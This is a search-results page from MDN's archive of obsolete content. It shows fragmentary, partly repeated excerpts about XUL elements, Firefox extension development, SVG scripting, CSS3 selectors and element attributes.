...{ hello.show(); } }); var hello = require("sdk/panel").panel({ height: 75, width: 150, contenturl: require("sdk/self").data.url("my-panel.html") }); given locale files for "en-us" and "fr" which provide translations of hello_id, the panel will now display "hello!" or "bonjour !", according to the current locale: the translation is inserted into the node which has the data-l10n-id
attribute set. any previously existing content is just replaced. the string is inserted as text, so you can't insert html using a statement like: # does not work. html tags are inserted as text. hello_id= <blink>hello!</blink> localizing element
attributes this feature is new in firefox 39 you can localize certain
attributes of elements with an l10n-id by setting its value with l10n-id.
attributename ...
... is inserted as text, so you can't insert html using a statement like: # does not work. html tags are inserted as text. ...
...And 2 more matches
HTML to DOM - Archive of obsolete content
dangers involved in injecting remote content in a privileged context in your extension, so it can be desirable to parse the html safely. the function below will safely parse simple html and return a dom object which can be manipulated like web page elements. this will remove tags like <script>, <style>, <head>, <body>, <title>, and <iframe>. it will also remove all javascript, including element
attributes that contain javascript. function htmlparser(ahtmlstring){ var html = document.implementation.createdocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createelementns("http://www.w3.org/1999/xhtml", "body"); html.documentelement.appendchild(body); body.appendchild(components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscri...
...owing: doc.body.textcontent = "this is inside the body!"; using a hidden iframe element to parse html to a window's dom sample code may need more work. create your own function using unique name, id, and so forth. ...
...de the body!"; using a hidden iframe element to parse html to a window's dom sample code may need more work. create your own function using unique name, id, and so forth. ...
...And 2 more matches
SVG General - Archive of obsolete content
ate to start building an svg document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is recommended that you do not use dtd's with svg documents. the tutorial and authoring guidelines have more information. dynamic scripting helper this little helper script can be used to simplify creation of svg elements in script. svg requires you to use set
attributens to add
attributes to a newly created svg dom element. no properties like html. svg image also requires the use of xlink for the href
attribute, which can be tricky to remember, especially when you're mixing svg with html or xul. here is the script: var svgns = "http://www.w3.org/2000/svg"; var xlinkns = "http://www.w3.org/1999/xlink"; var attr_map = { "classname": "class", "svghref": "hre...
... like html. svg image also requires the use of xlink for the href
attribute, which can be tricky to remember, especially when you're mixing svg with html or xul. ...
...ch can be tricky to remember, especially when you're mixing svg with html or xul. ...
...And 2 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
n firefox, there is a distinction between chrome and content documents. the top document in a window is always a chrome document. if you look at the frames it loads, those will usually be chrome documents as well. however, if the document is loaded into <iframe type="content"> or <browser type="content">, it will be considered a content document, and so will be all the frames it loads (the "type"
attribute is ignored at that point). so if we look at the frame hierarchy there is a boundary between chrome and content, and at that boundary a number of security mechanisms apply. in particular, a content document can only go up in the frame hierarchy until the topmost content document, it cannot access the chrome documents above it. this means for example that javascript code top.location.href = "about:...
...t. if you open "chrome://foo/content/foo.xul" in the browser, it will open as a content document despite having extended privileges. this also means that you won’t be able to establish a security boundary between your extension and untrusted data if your extension opens as a tab in the browser — so displaying your extension in a browser tab is a bad choice. note: dynamic changes of the "type"
attribute have no effect, the frame type is read out when the frame element is inserted into the document and never again. so the usual rule is: don’t change the value of the "type"
attribute. but if you really have to do this, you will also have to remove the frame element from the document and insert it back. not giving privileges to documents that contain untrusted data the privileges that a document ...
...y no privileges. so in the simplest case you would have: <iframe type="content" src="data:text/html,%3chtml%3e%3cbody%3e%3c/body%3e%3c/html%3e"/> but usually you don’t want to start with an empty document, you would rather want to load some template into the frame: var request = new xmlhttprequest(); request.open("get", "chrome://foo/content/template.html", false); request.send(null); frame.set
attribute("src", "data:text/html," + encodeuricomponent(request.responsetext)); that way you can have the template in your extension but still strip it off all privileges when it is loaded in a frame. restricting what documents that contain untrusted data can do there are several restrictions that can be applied per frame. here it is most important to disable javascript and plugins. it won’t harm disabl...
...And 2 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
ct. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...ethod described below to install xpis, as it provides the best experience to users. web script example <script type="application/javascript"> <!-- function install (aevent) { for (var a = aevent.target; a.href === undefined;) a = a.parentnode; var params = { "foo": { url: aevent.target.href, iconurl: aevent.target.get
attribute("iconurl"), hash: aevent.target.get
attribute("hash"), tostring: function () { return this.url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.example.com/foo.xpi" iconurl="http://www.example.com/foo.png" hash="sha1:28857e60d043447c5f4550853f2d40770b326a13" onclick="return install(event);">install extension!</a> let's go through this piece by piece. the html <a> is ...
...ring: function () { return this.url; } } }; installtrigger.install(params); return false; } //--> </script> <a href="http://www.example.com/foo.xpi" iconurl="http://www.example.com/foo.png" hash="sha1:28857e60d043447c5f4550853f2d40770b326a13" onclick="return install(event);">install extension!</a> let's go through this piece by piece. the html <a> is the install link. the href
attribute contains a direct link to the extension xpi file, this is what will show in the location bar when the link is moused over. users can save the xpi file to disk easily by right clicking on the link and choosing "save link as..." when the link is clicked it calls the function install passing the event object as the parameter. the install first creates a parameter block: var params = { "foo": { ...
...And 2 more matches
Adding sidebars - Archive of obsolete content
l="&xulschoolhello.maintab.label;" /> <tab label="&xulschoolhello.advancedtab.label;" /> </tabs> <tabpanels> <tabpanel> <!-- content for the main panel. --> </tabpanel> <tabpanel> <!-- content for the advanced panel. --> </tabpanel> </tabpanels> </tabbox> the first tab is selected by default, but you can change the default selection by setting the selected
attribute to true in the « xul reference « element. a tabpanel can hold any kind of content. you should take into account that the whole tab box is going to be as large as the tab strip on the top and the content of the largest panel. you should try to balance the content in the tab panels so that you don't end up with uneven and mostly empty panels. decks and stacks sometimes you'll need finer graine...
...nly displays one of its child nodes at a time, depending on its selectedindex value. in the following example, the second child will be displayed, not the first which would be the default. <deck selectedindex="2"> <hbox> <!-- content for the first child. --> </hbox> <hbox> <!-- content for the second child. --> </hbox> </deck> note how this is one of the few cases where an
attribute of an element is named using camel case instead of all small caps. the size of the deck depends on the size of the largest child node, just like in a tabbox. we recommend that you use hbox or vbox elements as children of a deck or stack. the code is easier to read and maintain this way. a deck can be very useful when you have a large piece of xul code that only changes in a small way de...
...ally and vertically depending on the size of the foreground object: <stack> <hbox flex="1"> <image src="chrome://xulschoolhello/skin/stack-bg.png" flex="1" /> </hbox> <hbox> <!-- some content here. --> </hbox> </stack> this workaround is necessary because you can't have an background image stretch using css. a less common use for the stack element is to use the left and top
attributes on its children in order to have absolute positioning for the content on the layers. this kind of positioning can be useful for various artistic effects, as well as some type of desktop-like or dashboard-like interface, where items are located in positions determined by the user, and they can overlap with each other. this can become complicated very easily, though. remember that you can't have ...
...And 2 more matches
CSS3 - Archive of obsolete content
ironment anymore. css namespaces module recommendation since september 29th, 2011 adds the support for the xml namespaces by defining the notion of css qualified name, using the ' | ' syntax and adding the @namespace css at-rule. selectors level 3 recommendation since september 29th, 2011 adds: substring matching
attribute selectors, e[
attribute^="value"], e[
attribute$="value"], e[
attribute*="value"] . new pseudo-classes: :target, :enabled and :disabled, :checked, :indeterminate, :root, :nth-child and :nth-last-child, :nth-of-type and :nth-last-of-type, :last-child, :first-of-type and :last-of-type, :only-child and :only-of-type,:empty, and :not. pseudo-elements are now characterized by two colons rather ...
...ation is already in progress, though it still hasn't reached the first public working draft stage. media queries recommendation since june 19th, 2012 extends the former media type ( print, screen, … ) to a full language allowing queries on the device media capabilities like only screen and (color) . ...
...l hasn't reached the first public working draft stage. media queries recommendation since june 19th, 2012 extends the former media type ( print, screen, … ) to a full language allowing queries on the device media capabilities like only screen and (color) . media queries are not only used in css document but also in some
attributes of html elements, like the media
attribute of the <link> element. ...
...And 2 more matches
Creating a Microsummary - Archive of obsolete content
site, you could write php code to output a microsummary when the view=microsummary url parameter is present. then just link to the microsummaries from within the pages themselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, it loads the url in the href
attribute. if the url points to a generator, it uses the generator to generate the microsummary for the page. otherwise, if the url returns plain text content (or html content that can be converted to plain text), firefox uses the content as the microsummary for the page. beginnings generators are expressed as xml documents whose root element is the <generator> element in the http://www.mozilla.org/micro...
...ocuments whose root element is the <generator> element in the http://www.mozilla.org/microsummaries/0.1 namespace. to begin building the generator, create a new empty text file and add an xml declaration and empty <generator> tag to it: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1"> </generator> giving it a name generators should have name
attributes which are arbitrary descriptions of the microsummaries the generator creates. names should be descriptive enough to give users a good idea what information the microsummaries will provide. since our generator will be creating microsummaries displaying the firefox download count, let's give it the name "firefox download count": <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.
... name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> </transform> </template> </generator> using a simple xslt <template> the xslt processor transforms documents by comparing each xslt <template> element in the transform sheet to a set of nodes in the document. when a <template>'s match
attribute matches a node, the processor performs the transformations specified by the content of the element. this mechanism is powerful, because it lets you traverse the node tree of a document, recursively generating output based on the contents of the document. but for the purposes of generating a microsummary for the spread firefox page, we only need to use a single <template> element that matches the...
...And 2 more matches
Editor Embedding Guide - Archive of obsolete content
last executed command. getcommandstate "state_enabled"(boolean) docommand no parameters note only available if txmgr.dll is present. cmd_redo redoes last executed command. getcommandstate "state_enabled"(boolean) docommand no parameters note only available if txmgr.dll is present. cmd_fontcolor acts upon the current selection to set the font color. ...
...e "state_enabled"(boolean) docommand no parameters note only available if txmgr.dll is present. cmd_redo redoes last executed command. getcommandstate "state_enabled"(boolean) docommand no parameters note only available if txmgr.dll is present. cmd_fontcolor acts upon the current selection to set the font color. getcommandstate "state_
attribute" (cstring) docommand "state_
attribute" (cstring) note for color values, use the cstring representation of rrggbb, e.g., red="#ff0000" and black="#000000". cmd_backgroundcolor sets the background color of the document. getcommandstate "state_
attribute" (cstring) docommand "state_
attribute" (cstring) note for color values, use the cstring representation of rrggbb, e.g., red="#ff0000" and black="#000000". cmd_fontface se...
...rrggbb, e.g., red="#ff0000" and black="#000000". cmd_backgroundcolor sets the background color of the document. getcommandstate "state_
attribute" (cstring) docommand "state_
attribute" (cstring) note for color values, use the cstring representation of rrggbb, e.g., red="#ff0000" and black="#000000". cmd_fontface sets the font face for the current selection. getcommandstate "state_
attribute" (cstring) docommand "state_
attribute" (cstring or string) "helvetica, arial, sans-serif" "times new roman, times, serif" "courier new, courier, monospace" any string is acceptable. the above strings should be considered examples of base functionality and in no way imply that this command won't handle other fonts. cmd_align sets the alignment for the lines contain...
...And 2 more matches
Supporting private browsing mode - Archive of obsolete content
ate information may wish to hook into the private browsing service so that they can avoid saving personal information when private browsing mode is enabled. doing this is quite easy, using the nsiprivatebrowsingservice interface. detecting private browsing mode determining whether or not the user is currently in private browsing mode is simple. just check the value of the privatebrowsingenabled
attribute on the nsiprivatebrowsingservice service. var pbs = components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.nsiprivatebrowsingservice); var inprivatebrowsingmode = pbs.privatebrowsingenabled; if (!inprivatebrowsingmode) { /* save private information */ } in the above example, we only save the user's private information if not in private browsi...
...rivate browsing is in effect. detecting whether private browsing mode is permanent requires gecko 2.0(firefox 4 / thunderbird 3.3 / seamonkey 2.1) firefox 4 added support for having private browsing mode permanently enabled. the theme looks different in this scenario. ...
...e whether or not the browser is permanently in private browsing mode, you can look at the privatebrowsingmode
attribute on the document root. its value is "permanent" if private browsing is permanently enabled for the session, "temporary" if private browsing is temporarily enabled, or not defined at all if private browsing mode isn't active. ...
...And 2 more matches
Table Cellmap - Archive of obsolete content
0 then morigcell is in effect 81 // and the data does not represent a span. if mspan is 1, then mbits is in 82 // effect and the data represents a span. 83 union { 84 nstablecellframe* morigcell; 85 long mbits; 86 }; the idea behind this construction is a entry in the cellmap can be either the origin of a row- or colspan (a cell cell without a defined row- or colspan
attribute assumes 1 as a default value), or a entry which is only covered by a row- or colspan. entries which are a origin have a direct corresponding tablecellframe. entries which are only spanned don't have that direct relationship. they belong to a entry which has a direct relationship to a tablecellframe. now that union uses the fact all addresses of real tablecellframes are aligned at even boundaries,...
... c0,0 c0,1 row 1 : c1,0 c1,1 c0,0=02763528(0) c0,1=0276381c(1) c1,0=02763990(0) c1,1=02763ab4(1) ***** end group cell map dump ***** ***** end table cell map dump ***** ***end table dump*** structural information one can imagine the cellmap as grid with equally wide rows and columns where the table cells are drawn. these cells can cover more than a grid cell if the row- or colspan
attribute is different from 1. a colspan lets add a cell to the second row in the 2x2 table and let the second cell in the first row span over two cells. <table> <tr><td>cell 1</td><td colspan="2">cell 2</td></tr> <tr><td>cell 3</td><td>cell 4</td><td>cell 5</td></tr> </table> table cell map would be: row 0 : c0,0 c0,1 c row 1 : c1,0 c1,1 c1,2 while it is clear that in the cells th...
...e original cell #define row_span_shift 3 // num bits to shift to get right justified row span #define col_span_shift 19 // num bits to shift to get right justified col span showing that there is a span, this span is a colspan and the colspan origin is one cell away. this shows that the maximum handled row- or colspan value for a cell is 0xfff8 >> 3 = 8191. there is a special
attribute for rowspan="0" and colspan="0", because html 4.0 did introduce a special handling of the 0 value. rowspan = number [cn] this
attribute specifies the number of rows spanned by the current cell. the default value of this
attribute is one ("1"). the value zero ("0") means that the cell spans all rows from the current row to the last row of the table section (thead, tbody, or tfoot) in which the ...
...And 2 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
to xpinstall files. smartupdate involves a digitally signed jar file which contained the software components to be installed as well as a javascript install.js file (called the install script) as the installer logic. downloads and installs would be initiated with a security dialog box naming the certificate authority and the signer. often, the smartupdate download was triggered via the pluginurl
attribute of the embed tag: <embed type="application/x-randomtype" src="myfile.typ" width="50" height="50" pluginurl="http://mytypecompany.xyz/jarpacks/mytypeplugin.jar"></embed> in the example above, the pluginurl
attribute points to the signed jar file, which netscape communicator 4.x would then download (subject to the security dialog boxes) if the plugin was not located on the user's machine. smartup...
... start an xpi download automatically. this is useful because users can visit a web site, and conditionally get served software (in a streamlined manner) that the web site wants the user to have. trigger scripts are a recommended way of initiating an xpinstall download. triggering an xpinstall download from html in a manner analogous to how smartupdate downloads were initiated by the pluginurl
attribute of the embed tag, xpinstall downloads can also be initiated by html tags invoking plugins, notably via the codebase
attribute of the object tag. this is analogous to how internet explorer downloads cab files pointed to by the codebase
attribute of the object tag. here's an example of a hypothetical object tag used to invoke myplugin (an imaginary application): <object id="theplugin" type="appli...
...note: xpi packages (files with the xpi extension) use the application/x-xpinstall mime type. ...
...And 2 more matches
Simple Example - Archive of obsolete content
s information is very simple to create. unlike previous examples where we iterated over a property to navigate the graph, here we want to iterate over the children of an rdf container. the container, an rdf seq, has the uri 'http://www.xulplanet.com/rdf/myphotos'. this will be the starting point of the navigation. we want the endpoints to be the three images. first, we set the datasources and ref
attributes as needed: <vbox datasources="template-guide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a new statement, the member condition as well as a triple. <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> ...
...hotos'. the same starting variable is used in this example, but you can of course use any variable you wish. (?start = http://www.xulplanet.com/rdf/myphotos) the member element is used to iterate over the children of a container (or the reverse). first, any known variables are filled into the member statement for the current result. ...
...in the rdf data, the container 'http://www.xulplanet.com/rdf/myphotos has three children, so there are three possible values for the ?photo variable. if that node had no children or wasn't a container, there would be no possible results. ...
...And 2 more matches
XML Assignments - Archive of obsolete content
for instance, you might want to display not the name of a person, but the length of their name. xpath provides syntax to retrieve this using the built-in string-length method. however, you cannot use a expression that returns a number in the query, as the query must return dom nodes as results. in this case, we use an expression that returns the nodes as in earlier examples, and use some additional syntax of the query to get the length of the names. to do this, we use an additional element, the assign element. ...
...query> <action> <hbox uri="?" align="center"> <button label="?name"/> <label value="?gender"/> <label value="?namelength"/> <label value="?siblings"/> </hbox> </action> </template> </vbox> two assign elements are placed as children of the query element. it allows us to declare additional variables that may be used in the action body. ...
..."> <button label="?name"/> <label value="?gender"/> <label value="?namelength"/> <label value="?siblings"/> </hbox> </action> </template> </vbox> two assign elements are placed as children of the query element. it allows us to declare additional variables that may be used in the action body. the expr
attribute specifies the xpath expression and the var
attribute specifies the variable to assign to. ...
...And 2 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
> notes: the id of the palette (browsertoolbarpalette in the example) depends on the window (the parent window of the toolbar you wish to insert a button). see below for the list of common palette ids. class="toolbarbutton-1" makes the toolbar button appear correctly in icons and text mode; it also adjusts padding. set the command to be executed when the button is clicked in the oncommand
attribute. if you need to handle middle-click, add this line after the oncommand line. onclick="checkformiddleclick(this, event)" you can also handle middle-click and right-click using onclick handler and check event.button in it like this: <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="myextension-button" class="toolbarbutton-1" label="&toolbarbutton.label;" tooltiptext="&too...
...ents other than <toolbarbutton> in <toolbaritem>. adding the button bootstrap style adding a button to the browserpalette on runtime in a bootstrap addon is a bit different because the browserpalette is indirectly reached. a simple document.getelementbyid('browsertoolbarpalette') will not work. this is the code to create and add it in. ...
...olbaritem>. adding the button bootstrap style adding a button to the browserpalette on runtime in a bootstrap addon is a bit different because the browserpalette is indirectly reached. a simple document.getelementbyid('browsertoolbarpalette') will not work. this is the code to create and add it in. ...
...And 2 more matches
Commands - Archive of obsolete content
his becomes complicated. by using commands, much of the work is handled for you. you can use a command for any operation. mozilla uses them for almost every menu command. in addition, text fields and other widgets have a number of commands which they already support that you can invoke. you should use them when the operation depends on which element is focused. a command is identified by its id
attribute. mozilla uses the convention that command id's start with 'cmd_'. you will probably want to use the same id if a command is already being used, however, for your own commands, you can use any command id you wish. to avoid conflicts, you may wish to include the application name in the command id. a simple way of using commands is as follows: example: simple command example 1 : source view <comm...
...er, for your own commands, you can use any command id you wish. to avoid conflicts, you may wish to include the application name in the command id. a simple way of using commands is as follows: example: simple command example 1 : source view <command id="cmd_openhelp" oncommand="alert('help!');"/> <button label="help" command="cmd_openhelp"/> in this example, instead of placing the oncommand
attribute on the button, we instead place it on a command element. the two are then linked using the command
attribute, which has the value of the command's id. the result is that when the button is pressed, the command 'cmd_openhelp' is invoked. there are two advantages to using this approach. first, it moves all your operations onto commands which can all be grouped together in one section of the xul...
...is that several buttons or other ui elements can be hooked up to the same command. for instance, you might have a menu item, a toolbar button and a keyboard shortcut all for the same operation. rather than repeat the code three times, you can hook all three up to the same command. normally, you would only hook up elements that would send a command event. additionally, if you set the disabled
attribute on the command, the command will be disabled and it will not be invoked. any buttons and menu items hooked up to it will be disabled automatically. if you re-enable the command, the buttons will become enabled again. example: toggling command disabled example 2 : source view <command id="cmd_openhelp" oncommand="alert('help');"/> <button label="help" command="cmd_openhelp"/> <button label="...
...And 2 more matches
Grids - Archive of obsolete content
<columns> <column flex="2"/> <column flex="1"/> </columns> <rows> <row> <button label="rabbit"/> <button label="elephant"/> </row> <row> <button label="koala"/> <button label="gorilla"/> </row> </rows> </grid> two rows and two columns have been added to a grid. each column is declared with the column tag. each column has been given a flex
attribute. each row contains two elements, both buttons. the first element in each row element is placed in the first column of the grid and the second element is each row is placed in the second column. note that you do not need an element to declare a cell -- there is no equivalent of the html td element. instead, you put the contents of cells directly in the row elements. grid with more elements you c...
...nts containing the labels has only a single element in each row. the second column contains a box in its second row, which in turn contains two elements, a textbox and a button. you could add additional nested boxes or even another grid inside a single cell. if you resize the window of the last example, you will see that the textboxes resize, but no other elements do. this is because of the flex
attributes added to the textboxes and the second column. the first column does not need to be flexible as the labels do not need to change size. the initial width of a column is determined by the largest element in the column. similarly, the height of a row is determined by the size of the elements in a row. you can use the minwidth and maxwidth and related
attributes to further define the size. column b...
..."first name:"/> <label control="middle" value="middle name:"/> <label control="last" value="last name:"/> </column> <column> <textbox id="first"/> <textbox id="middle"/> <textbox id="last"/> </column> </columns> </grid> this grid has three rows and two columns. the row elements are just placeholders to specify how many there are. you may add the flex
attribute to a row to make it flexible. the content is placed inside in each column. the first element inside each column element is placed in the first row, the second element in the second row and the third element is placed in the third row. if you put content in both the columns and the rows, the content will overlap each other, although they will align in a grid properly. it creates an effect much li...
...And 2 more matches
Simple Menu Bars - Archive of obsolete content
ands inside it. the commands themselves are created using the menuitem element. each one represents a single command on the menu popup. you can also create separators on the menus using the menuseparator element. this is used to separate groups of menuitems. menubar element the menubar is a box containing menus. note that it has been placed inside a flexible toolbox. the menubar has no special
attributes but it is a type of box. this means that you could create a vertical menubar by setting the orient
attribute to vertical. menu element the menu element works much like the button element. it accepts some of the same
attributes plus some additional ones: id the unique identifier of the menu title button. label the text to appear on the menu, such as file or edit. disabled this boo...
... it is a type of box. this means that you could create a vertical menubar by setting the orient
attribute to vertical. menu element the menu element works much like the button element. it accepts some of the same
attributes plus some additional ones: id the unique identifier of the menu title button. label the text to appear on the menu, such as file or edit. disabled this boolean
attribute determines whether the menu is disabled. although you can, there's rarely a need to disable an entire menu. this
attribute can be set to either true or false. of course, the latter is the default. accesskey this is the key that the user can press to activate the menu item. ...
...for that reason, you should specify a character that exists in the text (although the key will still work if it doesn't). the menu element is normally placed on a menubar, although it does not have to be. however, it will be given a different look. ...
...And 2 more matches
Splitters - Archive of obsolete content
it and the elements that come after it in the same box. when a splitter is placed inside a horizontal box, it will allow resizing horizontally. when a splitter is placed inside a vertical box, it will allow resizing vertically. the syntax of a splitter is as follows: <splitter id="identifier" state="open" collapse="before" resizebefore="closest" resizeafter="closest"> the
attributes are as follows: id the unique identifier of the splitter. state indicates the state of the splitter. set this to open, the default, to have the split panel initially open, or set it to collapsed to have one of the panels shrunk down (collapsed) and the other occupying all of the space. collapse this indicates which side of the panel should collapse when the splitter notch (or gripp...
...nel should collapse when the splitter notch (or grippy) is clicked or set into a collapsed state. set this to before for the element before the splitter, or after for the element after the splitter. if you set this to none, which is also the default, the splitter grippy does not collapse when clicked. resizebefore when the splitter is dragged, the elements to the left (or above) resize. this
attribute indicates which element should resize. set this to closest to have the element immediately to the left of the splitter resize. set this to farthest to have the element that is the farthest away from the splitter to the left resize. (the first element in the box). the default value is closest. resizeafter when the splitter is dragged, the elements to the right (or below) resize. this attribut...
...ault value is closest. resizeafter when the splitter is dragged, the elements to the right (or below) resize. this
attribute indicates which element should resize. set this to closest to have the element immediately to the right of the splitter resize. set this to farthest to have the element that is the farthest away from the splitter to the right resize. (the last element in the box). this
attribute can also be set to grow, in which case the elements to the right of the splitter do not change size when the splitter is dragged, but instead the entire box changes size. the default value is closest. ...
...And 2 more matches
Stack Positioning - Archive of obsolete content
stretch to fit the size of the stack. however, you may also place the children at specific coordinates. for example, if a stack has two buttons as children, one may be placed 20 pixels from the left edge and 50 pixels from the top edge. the second button can be placed at 100 pixels from the left edge and 5 pixels from the top edge. the position of a child element may be specified by placing two
attributes on the element. for the horizontal position, use the left
attribute and for the vertical position, use the top
attribute. if you don't put these
attributes on a child of a stack, the child will stretch to fit the size of the stack. example 1 : source view <stack> <button label="goblins" left="5" top="5"/> <button label="trolls" left="60" top="20"/> <button label="vampires" left="10" to...
...e. if you don't put these
attributes on a child of a stack, the child will stretch to fit the size of the stack. example 1 : source view <stack> <button label="goblins" left="5" top="5"/> <button label="trolls" left="60" top="20"/> <button label="vampires" left="10" top="60"/> </stack> the stack here contains three elements, each positioned at the coordinates given by the left and top
attributes. here, all three children are buttons, but the elements do not have to be same type. they may be any element, including boxes and other stacks. the size of a stack is determined by the positions of the child elements. it is always sized so that all of the child elements are visible (excluding any children with -moz-stack-sizing: ignore). ...
... given by the left and top
attributes. here, all three children are buttons, but the elements do not have to be same type. they may be any element, including boxes and other stacks. the size of a stack is determined by the positions of the child elements. it is always sized so that all of the child elements are visible (excluding any children with -moz-stack-sizing: ignore). so if you set a left
attribute to 400, the stack will have a width around 400 pixels plus the width of the element. you can override this size with the various style properties such as width and max-width. you can use a script to adjust the value of the left and top
attributes and thus make the elements move around. stacks have the advantage that when one absolutely positioned element changes its position, the position of the...
...And 2 more matches
commandset - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is not displayed and serves as a container for command elements. in addition, this element can hold a command updater which is used to update commands when certain events occur. a common use of the command updater is to update cut, copy, and paste menu items. more information is available in the xul tutorial.
attributes commandupdater, events, oncommandupdate, targets example <commandset> <command id="cmd_open" oncommand="alert('open!');"/> <command id="cmd_help" oncommand="alert('help!');"/> </commandset>
attributes commandupdater type: boolean if true, the commandset is used for updating commands. typically, this is used to update menu commands...
...g commands. typically, this is used to update menu commands such as undo and cut based on when an event occurs. for example, since the cut command is only valid when something is selected, a command updater might be used when the select event occurs. events type: comma-separated list a comma-separated list of event names that the command updater will update upon. if this
attribute is not specified, or you set it to the value '*', all events are valid. valid events are listed below, or you can use your own events. you can send a custom event by calling the updatecommands method of the command dispatcher. focus: occurs when the focused element changes. select: occurs when the selected text changed. clipboard: occurs when the clipboard is changed. ...
...hanged. undo: occurs when the undo buffer is changed. oncommandupdate type: script code this event occurs when a command update occurs. you would use this to update the disabled status of items. targets type: comma-separated list of element ids a comma-separated list of element ids that the command updater will update upon. if this
attribute is not specified, or you set it to the value '*', all elements are valid. the command update will only occur when the event occurs to one of the specified elements. properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwid...
...And 2 more matches
listheader - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a header for a single column in a listbox.
attributes disabled properties acesssibletype examples <listbox> <listhead> <listheader label="name"/> <listheader label="occupation"/> </listhead> <listitem> <listcell label="george"/> <listcell label="house painter"/> </listitem> <listitem> <listcell label="mary ellen"/> <listcell label="candle maker"/> </listitem> <listitem> <listcell label="roger"/> <listcell label="swashbuckler"/> </listitem> </listbox>
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with graye...
...>
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. do not set the
attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled
attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this
attribute out entirely. visible controls have a disabled property which...
...lement again, which is not the case. the disabled
attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this
attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the
attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this
attribute is copied to the menulist.value property upon user selection of the menuitem. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatea...
...And 2 more matches
member - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] used within a rule's conditions element to match elements that are containers or are contained within another element. both the container and child
attributes may use variables. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] used within a rule's conditions element to match elements that are containers or are contained within another element. both the container and child
attributes may use variables. more information is available in the xul tutorial. ...
...resource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties child type: ? a variable reference to a node that is expected to be a child of the element that is referred to by the container element. container type: ? a variable reference to a node that is expected to be a container. if the variable is the same as the uri
attribute on the content element, the resource must be a container element in order to match. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ...
...And 2 more matches
param - Archive of obsolete content
name type: string the name of a parameter within the sql statement. this name should appear within the query preceded by a colon. ...
... name type: string the name of a parameter within the sql statement. this name should appear within the query preceded by a colon. ...
... name type: string the name of a parameter within the sql statement. this name should appear within the query preceded by a colon. ...
...And 2 more matches
resizer - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element used for window resizing. if you place a custom resizing button inside the resizer, the user will be able to resize the window by dragging it. the resizer will send a command event after the resize is complete. note: starting in gecko 2.0, you can also specify a target element using the element
attribute, to use the resizer to resize the specified element instead of the window. ...
... an element used for window resizing. if you place a custom resizing button inside the resizer, the user will be able to resize the window by dragging it. the resizer will send a command event after the resize is complete. note: starting in gecko 2.0, you can also specify a target element using the element
attribute, to use the resizer to resize the specified element instead of the window. ...
... left resized to the left. right resized to the right. top resized up. bottom resized down. bottomstart resized down and toward the start of the line (toward the left for left-to-right locales, toward the right for right-to-left locales). bottomend resized down and toward the end of t...
...And 2 more matches
rule - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a rule is used in a template. the children of the rule are used to declare the conditions in which the rule matches and the content that is generated. a rule may contain where, binding and/or action elements. a condition is defined used a where element. for each result that matches all of the conditions, content within the rule's action body is generated. the bindings element is optional and may specify additional variable bindings to be used. when no query element is used in a template, a default query is used and the simple query syntax may be used for rdf datasources. for more information about this, see the simple query syntax. ...
... element. for each result that matches all of the conditions, content within the rule's action body is generated. the bindings element is optional and may specify additional variable bindings to be used. when no query element is used in a template, a default query is used and the simple query syntax may be used for rdf datasources. for more information about this, see the simple query syntax.
attributes iscontainer, isempty, parent, parsetype examples (example needed)
attributes iscontainer type: boolean indicates whether rules match based on containment. if not specified, the rule may match regardless of whether a node is a container or not. true: the rule will only match nodes that are marked as containers. this would apply to nodes that represent folders. false: the rule w...
... has children or not. true: the rule will only match nodes that contain no child elements. false: the rule will only match nodes that contain one or more child elements. parent type: element tag name if set, the rule will only match the corresponding tag. this may be used to have separate rules for leaf and container nodes with different tags. parsetype type: string if this
